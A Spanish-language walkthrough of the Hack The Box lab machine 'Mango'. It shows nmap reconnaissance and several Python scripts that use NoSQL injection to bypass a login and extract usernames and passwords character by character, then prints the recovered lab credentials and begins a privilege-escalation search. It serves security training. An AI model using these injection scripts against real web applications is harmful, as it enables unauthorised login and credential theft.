Mango

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Medium | 26 Octubre 2019 | MrR3boot |
Reconocimiento
Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts 10.10.10.162 -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-19 20:14 -03
Initiating SYN Stealth Scan at 20:14
Scanning 10.10.10.162 [65535 ports]
Discovered open port 22/tcp on 10.10.10.162
Discovered open port 443/tcp on 10.10.10.162
Discovered open port 80/tcp on 10.10.10.162
Completed SYN Stealth Scan at 20:14, 16.81s elapsed (65535 total ports)
Nmap scan report for 10.10.10.162
Host is up, received user-set (0.17s latency).
Scanned at 2025-01-19 20:14:34 -03 for 17s
Not shown: 64822 closed tcp ports (reset), 710 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.90 seconds
Raw packets sent: 82166 (3.615MB) | Rcvd: 67132 (2.685MB)
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV -p22,80,443 -oN servicesScan 10.10.10.162 -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-19 20:15 -03
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:15
Completed NSE at 20:15, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:15
Completed NSE at 20:15, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:15
Completed NSE at 20:15, 0.00s elapsed
Initiating Ping Scan at 20:15
Scanning 10.10.10.162 [4 ports]
Completed Ping Scan at 20:15, 0.19s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:15
Completed Parallel DNS resolution of 1 host. at 20:15, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 20:15
Scanning 10.10.10.162 (10.10.10.162) [3 ports]
Discovered open port 443/tcp on 10.10.10.162
Discovered open port 80/tcp on 10.10.10.162
Discovered open port 22/tcp on 10.10.10.162
Completed SYN Stealth Scan at 20:15, 0.17s elapsed (3 total ports)
Initiating Service scan at 20:15
Scanning 3 services on 10.10.10.162 (10.10.10.162)
Completed Service scan at 20:15, 12.99s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.162.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:15
Completed NSE at 20:15, 6.88s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:15
Completed NSE at 20:15, 1.29s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:15
Completed NSE at 20:15, 0.00s elapsed
Nmap scan report for 10.10.10.162 (10.10.10.162)
Host is up, received echo-reply ttl 63 (0.15s latency).
Scanned at 2025-01-19 20:15:18 -03 for 22s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXYCdNRHET98F1ZTM+H8yrD9KXeRjvIk9e78JkHdzcqCq6zcvYIqEZReb3FSCChJ9mxK6E6vu5xBY7R6Gi0V31dx0koyaieEMd67PU+9UcjaAujbDS3UgYzySN+c5GV/ssmA6wWHu4zz+k+qztqdYFPh0/TgrC/wNPWHOKdpivgoyk3+F/retyGdKUNGjypXrw6v1faHiLOIO+zNHorxB304XmSLEFswiOS8UsjplIbud2KhWPEkY4s4FyjlpfpVdgPljbjijm7kcPNgpTXLXE51oNE3Q5w7ufO5ulo3Pqm0x+4d+SEpCE4g0+Yb020zK+JlKsp2tFJyLqTLan1buN
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDqSZ4iBMzBrw2lEFKYlwO2qmw0WPf76ZhnvWGK+LJcHxvNa4OQ/hGuBWCjVlTcMbn1Te7D8jGwPgbcVpuaEld8=
| 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB1sFdLYacK+1f4J+i+NCAhG+bj8xzzydNhqA1Ndo/xt
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN/organizationalUnitName=None/localityName=None/emailAddress=admin@mango.htb
| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN/organizationalUnitName=None/localityName=None/emailAddress=admin@mango.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after: 2020-09-26T14:21:19
| MD5: b797:d14d:485f:eac3:5cc6:2fed:bb7a:2ce6
| SHA-1: b329:9eca:2892:af1b:5895:053b:f30e:861f:1c03:db95
| -----BEGIN CERTIFICATE-----
| MIIEAjCCAuqgAwIBAgIJAK5QiSmoBvEyMA0GCSqGSIb3DQEBCwUAMIGVMQswCQYD
| VQQGEwJJTjENMAsGA1UECAwETm9uZTENMAsGA1UEBwwETm9uZTEXMBUGA1UECgwO
| TWFuZ28gUHJ2IEx0ZC4xDTALBgNVBAsMBE5vbmUxIDAeBgNVBAMMF3N0YWdpbmct
| b3JkZXIubWFuZ28uaHRiMR4wHAYJKoZIhvcNAQkBFg9hZG1pbkBtYW5nby5odGIw
| HhcNMTkwOTI3MTQyMTE5WhcNMjAwOTI2MTQyMTE5WjCBlTELMAkGA1UEBhMCSU4x
| DTALBgNVBAgMBE5vbmUxDTALBgNVBAcMBE5vbmUxFzAVBgNVBAoMDk1hbmdvIFBy
| diBMdGQuMQ0wCwYDVQQLDAROb25lMSAwHgYDVQQDDBdzdGFnaW5nLW9yZGVyLm1h
| bmdvLmh0YjEeMBwGCSqGSIb3DQEJARYPYWRtaW5AbWFuZ28uaHRiMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5fimSfgq3xsdUkZ6dcbqGPDmCAJJBOK2
| f5a25At3Ht5r1SjiIuvovDSmMHjVmlbF6qX7C6f7Um+1Vtv/BinZfpuMEesyDH0V
| G/4X5r6o1GMfrvjvAXQ2cuVEIxHGH17JM6gKKEppnguFwVMhC4/KUIjuaBXX9udA
| 9eaFJeiYEpdfSUVysoxQDdiTJhwyUIPnsFrf021nVOI1/TJkHAgLzxl1vxrMnwrL
| 2fLygDt1IQN8UhGF/2UTk3lVfEse2f2kvv6GbmjxBGfWCNA/Aj810OEGVMiS5SLr
| arIXCGVl953QCD9vi+tHB/c+ICaTtHd0Ziu/gGbdKdCItND1r9kOEQIDAQABo1Mw
| UTAdBgNVHQ4EFgQUha2bBOZXo4EyfovW+pvFLGVWBREwHwYDVR0jBBgwFoAUha2b
| BOZXo4EyfovW+pvFLGVWBREwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsF
| AAOCAQEAmyhYweHz0az0j6UyTYlUAUKY7o/wBHE55UcekmWi0XVdIseUxBGZasL9
| HJki3dQ0mOEW4Ej28StNiDKPvWJhTDLA1ZjUOaW2Jg20uDcIiJ98XbdBvSgjR6FJ
| JqtPYnhx7oOigKsBGYXXYAxoiCFarcyPyB7konNuXUqlf7iz2oLl/FsvJEl+YMgZ
| YtrgOLbEO6/Lot/yX9JBeG1z8moJ0g+8ouCbUYI1Xcxipp0Cp2sK1nrfHEPaSjBB
| Os2YQBdvVXJau7pt9zJmPVMhrLesf+bW5CN0WpC/AE1M1j6AfkX64jKpIMS6KAUP
| /UKaUcFaDwjlaDEvbXPdwpmk4vVWqg==
|_-----END CERTIFICATE-----
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
|_http-title: Mango | Search Base
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 20:15
Completed NSE at 20:15, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:15
Completed NSE at 20:15, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:15
Completed NSE at 20:15, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.06 seconds
Raw packets sent: 7 (284B) | Rcvd: 4 (160B)```
## Explotación inicial
### HTTPS (443)

/analytics.php

Virtual hosting
```bash
echo "10.10.10.162 mango.htb staging-order.mango.htb" >> /etc/hosts
Interceptamos la petición con BurpSuite y la enviamos la repeater.
Probamos con inyección SQL, pero no tenemos respuesta.
No SQL Injection
Probamos con Inyecciones NO SQL.
Al enviar esta petición, nos redirecciona a /home.php
Podemos crear un script en Python para enumear usuarios.
Obtenemos todos los caracteres.
import requests
import string
from pwn import *
url = 'http://staging-order.mango.htb'
def getUser():
p1 = log.progress("No SQL Injection")
p1.status("Obteniendo los usuarios")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ''
for char in string.ascii_lowercase:
regex = '{}.*'.format(char)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login': 'login'}
p1.status(data)
res = requests.post(url, data = data, allow_redirects=False)
if res.status_code == 302:
if len(extracted_info) > 0:
extracted_info += ','
extracted_info += char
p2.status(extracted_info)
if __name__ == '__main__':
getUser()
Ahora que tenemos todos los caracteres validos, modificamos el script para determinar los caracteres iniciales.
import requests
import string
from pwn import *
url = 'http://staging-order.mango.htb'
def getUser():
p1 = log.progress("No SQL Injection")
p1.status("Obteniendo los usuarios")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ''
for char in ['a', 'd', 'g', 'i', 'm', 'n', 'o']:
regex = '^{}.*'.format(char)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login': 'login'}
p1.status(data)
res = requests.post(url, data = data, allow_redirects=False)
if res.status_code == 302:
if len(extracted_info) > 0:
extracted_info += ','
extracted_info += char
p2.status(extracted_info)
if __name__ == '__main__':
getUser()
Ahora que sabemos los caracteres iniciales, recuperamos el resto de caracteres
import requests
import string
from pwn import *
url = 'http://staging-order.mango.htb'
def sendPayload(word):
for char in ['a', 'd', 'g', 'i', 'm', 'n', 'o']:
regex = '^{}.*'.format(word + char)
data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login': 'login'}
res = requests.post(url, data = data, allow_redirects=False)
if res.status_code == 302:
return char
return None
def getUser():
for ch in ['a', 'm']:
username = ch
while True:
char = sendPayload(username)
if char != None:
username += char
else:
print("Username found: {}".format(username))
break
if __name__ == '__main__':
getUser()
Recuperamos los caracteres que componene las contraseñas de cada usuario.
from requests import post
from string import printable
url = 'http://staging-order.mango.htb/'
def sendPayload(user):
valid = []
for char in printable:
regex = '{}.*'.format(char)
data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
valid.append(char)
return valid
def getUser():
for user in ['admin', 'mango']:
valid = sendPayload(user)
print("Valid characters for {}: {}".format(user, valid))
if __name__ == '__main__':
getUser()
Obtener las contraseñas
from requests import post
from string import printable
url = 'http://staging-order.mango.htb/'
admin_pass = ['0', '2', '3', '9', 'c', 't', 'B', 'K', 'S', '!', '#', '\\$', '\\.', '>', '\\\\', '\\^', '\\|']
mango_pass = ['3', '5', '8', 'f', 'h', 'm', 'H', 'K', 'R', 'U', 'X', '\\$', '\\.', '\\\\', ']', '\\^', '{', '\\|', '~']
def sendPayload(user, word):
valid = admin_pass if user == 'admin' else mango_pass
for char in valid:
regex = '^{}.*'.format(word + char)
data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
response = post(url, data = data, allow_redirects=False)
if response.status_code == 302:
return char
return None
def getUser():
for user in ['admin', 'mango']:
password = ''
while True:
char = sendPayload(user, password)
if char != None:
password += char
else:
print("Password for {} found: {}".format(user, password))
break
if __name__ == '__main__':
getUser()
admin:t9KcS3>!0B#2
mango:h3mXK8RhU~f{]f5H
Nos conectamos por ssh con el usuario mango
.
Enumeración / Movimiento lateral
Nos movemos al usuario admin
usando su contraseña y leemos la flag de user.txt
Elevación de privilegios
find / -perm -4000 2>/dev/null